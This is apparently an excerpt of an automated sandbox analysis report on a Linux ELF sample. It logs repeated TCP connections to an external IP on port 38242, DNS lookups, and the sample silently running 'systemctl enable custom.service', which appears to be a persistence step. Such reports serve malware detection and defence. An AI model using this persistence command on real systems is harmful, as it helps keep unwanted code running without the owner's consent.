Dec 24, 2024 10:43:58.057254076 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:58.514667988 CET	38242	44630	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:58.514926910 CET	44630	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:58.897628069 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:59.017261982 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:59.017509937 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:59.017509937 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:59.138607025 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 10:43:59.521775007 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:43:59.684942961 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:00.143836021 CET	38242	44632	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:00.144030094 CET	44632	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:00.522869110 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:00.642564058 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:00.642710924 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:00.642756939 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:00.762376070 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:01.147665977 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:01.308985949 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:01.773533106 CET	38242	44634	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:01.773684978 CET	44634	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:02.148977995 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:02.268846035 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:02.269001007 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:02.269059896 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:02.388833046 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:02.774600983 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:02.936896086 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:03.395522118 CET	38242	44636	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:03.395677090 CET	44636	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:03.775966883 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:03.895725965 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:03.895909071 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:03.895942926 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:04.015671015 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:04.401593924 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:04.565037966 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:05.016371965 CET	38242	44638	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:05.016813040 CET	44638	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:05.402976990 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:05.523291111 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:05.523488998 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:05.523578882 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:05.643131971 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:06.029467106 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:06.193023920 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:06.655090094 CET	38242	44640	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:06.655352116 CET	44640	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:07.030528069 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:07.150355101 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:07.150460958 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:07.150507927 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:07.270385981 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:07.656306028 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:07.821100950 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:08.271974087 CET	38242	44642	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:08.272106886 CET	44642	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:08.657742977 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:08.777496099 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:08.777803898 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:08.777867079 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:08.897500992 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:09.283528090 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:09.448996067 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:09.931433916 CET	38242	44644	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:09.931555033 CET	44644	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:10.285058022 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:10.406924963 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:10.407059908 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:10.407108068 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:10.526851892 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:10.912976980 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:11.073085070 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:11.524722099 CET	38242	44646	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:11.525011063 CET	44646	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:11.914464951 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:12.034065962 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:12.034326077 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:12.034326077 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:12.154644966 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:12.540020943 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:12.701196909 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:13.166246891 CET	38242	44648	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:13.166434050 CET	44648	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:13.541465044 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:13.661242008 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:13.661402941 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:13.661453009 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:13.781099081 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:14.167610884 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:14.333136082 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:14.783006907 CET	38242	44650	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:14.783159971 CET	44650	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:15.168498993 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:15.288161993 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:15.288428068 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:15.289144039 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:15.408859968 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:15.794595957 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:15.957086086 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:16.414558887 CET	38242	44652	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:16.414798975 CET	44652	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:16.796011925 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:16.915575981 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:16.915843010 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:16.915911913 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:17.035464048 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:17.420131922 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:17.580984116 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:18.039891005 CET	38242	44654	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:18.040009022 CET	44654	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:18.421307087 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:18.540990114 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:18.541162968 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:18.541229963 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:18.660974979 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:19.046396017 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:19.209019899 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:19.681637049 CET	38242	44656	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:19.681902885 CET	44656	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:20.047610044 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:20.167602062 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:20.167828083 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:20.167828083 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:20.290172100 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:20.673150063 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:20.833002090 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:21.298981905 CET	38242	44658	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:21.299195051 CET	44658	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:21.674277067 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:21.793792009 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:21.793931007 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:21.793931007 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:21.913767099 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:22.298991919 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:22.460977077 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:22.925718069 CET	38242	44660	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:22.926013947 CET	44660	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:23.300179005 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:23.419847965 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:23.419945002 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:23.419991016 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:23.539484024 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:23.924390078 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:24.085000992 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:24.573267937 CET	38242	44662	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:24.573429108 CET	44662	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:24.925559044 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:25.045217037 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:25.045337915 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:25.045393944 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:25.164952040 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:25.550117970 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:25.713112116 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:26.185056925 CET	38242	44664	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:26.185386896 CET	44664	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:26.551198959 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:26.670872927 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:26.671149969 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:26.671194077 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:26.792351007 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:27.176132917 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:27.337135077 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:27.795229912 CET	38242	44666	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:27.795350075 CET	44666	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:28.176980019 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:28.298185110 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:28.298424006 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:28.298465967 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:28.419547081 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:28.803361893 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:28.964946032 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:29.434449911 CET	38242	44668	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:29.434643030 CET	44668	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:29.804496050 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:29.924089909 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:29.924326897 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:29.924326897 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:30.043823004 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:30.427994967 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:30.589015961 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:31.050935030 CET	38242	44670	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:31.051193953 CET	44670	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:31.429039955 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:31.548655987 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:31.548783064 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:31.548839092 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:31.668462038 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:32.053735971 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:32.217016935 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:32.669816971 CET	38242	44672	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:32.670008898 CET	44672	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:33.055012941 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:33.174633026 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:33.174741030 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:33.174786091 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:33.294323921 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:33.680011034 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:33.841054916 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:34.294348955 CET	38242	44674	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:34.294455051 CET	44674	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:34.681265116 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:34.800936937 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:34.801047087 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:34.801109076 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:34.920603037 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:35.306659937 CET	44676	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:35.469216108 CET	38242	44676	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:36.308073044 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:36.427767038 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:36.427895069 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:36.427933931 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:36.548213959 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:36.933387041 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:37.097132921 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:37.559420109 CET	38242	44678	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:37.559604883 CET	44678	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:37.934403896 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:38.054069042 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:38.054172039 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:38.054225922 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:38.173780918 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:38.559629917 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:38.721077919 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:39.185348988 CET	38242	44680	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:39.185621977 CET	44680	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:39.561007977 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:39.680949926 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:39.681269884 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:39.681438923 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:39.800894022 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:40.186322927 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:40.353063107 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:40.811005116 CET	38242	44682	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:40.811291933 CET	44682	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:41.187336922 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:41.306946993 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:41.307167053 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:41.307167053 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:41.427092075 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:41.811213970 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:41.973067045 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:42.451466084 CET	38242	44684	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:42.451705933 CET	44684	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:42.812182903 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:42.932197094 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:42.932368994 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:42.932415962 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:43.052717924 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:43.436098099 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:43.601171017 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:44.060293913 CET	38242	44686	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:44.060544014 CET	44686	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:44.437004089 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:44.556694031 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:44.556773901 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:44.556775093 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:44.676589012 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:45.060260057 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:45.225078106 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:45.680398941 CET	38242	44688	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:45.680552006 CET	44688	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:46.061328888 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:46.181077957 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:46.181230068 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:46.181299925 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:46.300852060 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:46.686496019 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:46.853235960 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:47.300615072 CET	38242	44690	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:47.300761938 CET	44690	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:47.687628031 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:47.807235003 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:47.807348967 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:47.807425976 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:47.927309036 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:48.312967062 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:48.473170042 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:48.942538977 CET	38242	44692	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:48.942682028 CET	44692	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:49.314143896 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:49.433806896 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:49.433929920 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:49.433969975 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:49.553525925 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:49.938152075 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:50.105161905 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:50.551265955 CET	38242	44694	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:50.551584005 CET	44694	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:50.939207077 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:51.058667898 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:51.058794975 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:51.058850050 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:51.178284883 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:51.563899994 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:51.725296021 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:52.201745033 CET	38242	44696	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:52.201817036 CET	44696	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:52.565135002 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:52.684855938 CET	38242	44698	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:52.684957981 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:52.685003042 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:52.804703951 CET	38242	44698	94.156.227.234	192.168.2.13
Dec 24, 2024 10:44:53.189939976 CET	44698	38242	192.168.2.13	94.156.227.234
Dec 24, 2024 10:44:53.353343964 CET	38242	44698	94.156.227.234	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 10:42:50.369736910 CET	47670	53	192.168.2.13	1.1.1.1
Dec 24, 2024 10:42:50.369738102 CET	49644	53	192.168.2.13	1.1.1.1
Dec 24, 2024 10:42:50.507885933 CET	53	49644	1.1.1.1	192.168.2.13
Dec 24, 2024 10:42:50.507977962 CET	53	47670	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 10:42:50.369736910 CET	192.168.2.13	1.1.1.1	0x40ad	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Dec 24, 2024 10:42:50.369738102 CET	192.168.2.13	1.1.1.1	0x5f46	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 10:42:50.507977962 CET	1.1.1.1	192.168.2.13	0x40ad	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Dec 24, 2024 10:42:50.507977962 CET	1.1.1.1	192.168.2.13	0x40ad	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: x86_32.nn.elf PID: 5444, Parent PID: 5368

General

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	/tmp/x86_32.nn.elf
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/tmp/x86_32.nn.elf
Arguments:	-
File size:	79312 bytes
MD5 hash:	3f1efbfbb79821f4bd17c6a3eff17aa6

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable custom.service >/dev/null 2>&1"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	09:42:47
Start date (UTC):	24/12/2024
Path:	/usr/bin/systemctl
Arguments:	systemctl enable custom.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Start time (UTC):	09:42:48
